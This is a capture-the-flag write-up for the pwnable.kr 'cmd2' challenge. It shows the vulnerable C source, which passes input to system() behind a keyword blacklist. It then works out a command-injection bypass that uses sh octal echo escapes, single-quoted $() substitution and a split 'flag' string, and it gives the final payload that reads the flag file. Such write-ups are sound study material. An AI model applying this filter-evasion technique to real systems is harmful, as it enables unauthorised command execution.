/ ctf

Pwnablr.kr - cmd2

Writeup for cmd2 of pwnable

0x00 Puzzle

Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission...
but I wanna play anytime I want!

ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)

0x01 Explore


$ pwd
$ ls -l
total 20
-r-xr-sr-x 1 root cmd2_pwn 8794 Dec 21  2015 cmd2
-rw-r--r-- 1 root root      586 Dec 21  2015 cmd2.c
-r--r----- 1 root cmd2_pwn   30 Jul 14  2015 flag


#include <stdio.h>
#include <string.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "=")!=0;
        r += strstr(cmd, "PATH")!=0;
        r += strstr(cmd, "export")!=0;
        r += strstr(cmd, "/")!=0;
        r += strstr(cmd, "`")!=0;
        r += strstr(cmd, "flag")!=0;
        return r;

extern char** environ;
void delete_env(){
        char** p;
        for(p=environ; *p; p++) memset(*p, 0, strlen(*p));

int main(int argc, char* argv[], char** envp){
        if(filter(argv[1])) return 0;
        printf("%s\n", argv[1]);
        system( argv[1] );
        return 0;

This time the program filters out our solution of cmd1 by delete_env();

We need to find a new way to let the cmd2 to execute /bin/cat ~/flag for us.

Since the program delete all the env variables and reset the PATH to something useless, we must try to use '/' in our payload, which means we have to bypass the '/' checking, which remind us (hopefully) some coding methods (like base64 etc.).

Key points

  • There are many differens between sh and bash. This program is using system(command) which actually execl("/bin/sh", "sh", "-c", command, (char *) 0); , which means it would run command with sh rather than bash. (ref)

  • echo '\57' echo has quite different behaviors under sh and bash, see below:

$ sh
$ echo '\57'
$ bash
cmd2@ubuntu:~$ echo '\57'

We can use this trick to bypass the '/' checking. But how to execute the result string of echo while the backtick character is blocked?

  • '...$(...)...' point is at the apostrophe, both under sh and bash:

  • if you type ./binary "arg $(whoami)", it will first execute whatever inside $()

  • but if you type ./binary 'arg $(whoami)', it will take all the stuff inside '' as the arg and pass it to binary.

To make it clear:

$ bash
cmd2@ubuntu:/tmp$ cat test.py 
import sys
print sys.argv[1]
cmd2@ubuntu:/tmp$ python test.py "arg $(whoami)"
arg cmd2
cmd2@ubuntu:/tmp$ python test.py 'arg $(whoami)'
arg $(whoami)
cmd2@ubuntu:/tmp$ sh
$ python test.py "arg $(whoami)"
arg cmd2
$ python test.py 'arg $(whoami)'
arg $(whoami)

So at this point, we can try to construct our payload:

~/cmd2 '$(echo "\57bin\57cat ~\57flag'

But remember that the ~ is no long worked after deleting all the env vars and there still is 'flag' checking.

  • For the first part, just replace ~ with /home/cmd2

  • For the second part, you can try other way like ln or even base64 decoding, or you just simply split the 'flag' to 'f' and 'lag' etc..

0x02 Solution

Final payload: ~/cmd2 '$(echo "\57bin\57cat \57home\57cmd2\57f")lag'

cmd2@ubuntu:~$ ~/cmd2 '$(echo "\57bin\57cat \57home\57cmd2\57f")lag'
$(echo "\57bin\57cat \57home\57cmd2\57f")lag


Pwnablr.kr - cmd2
Share this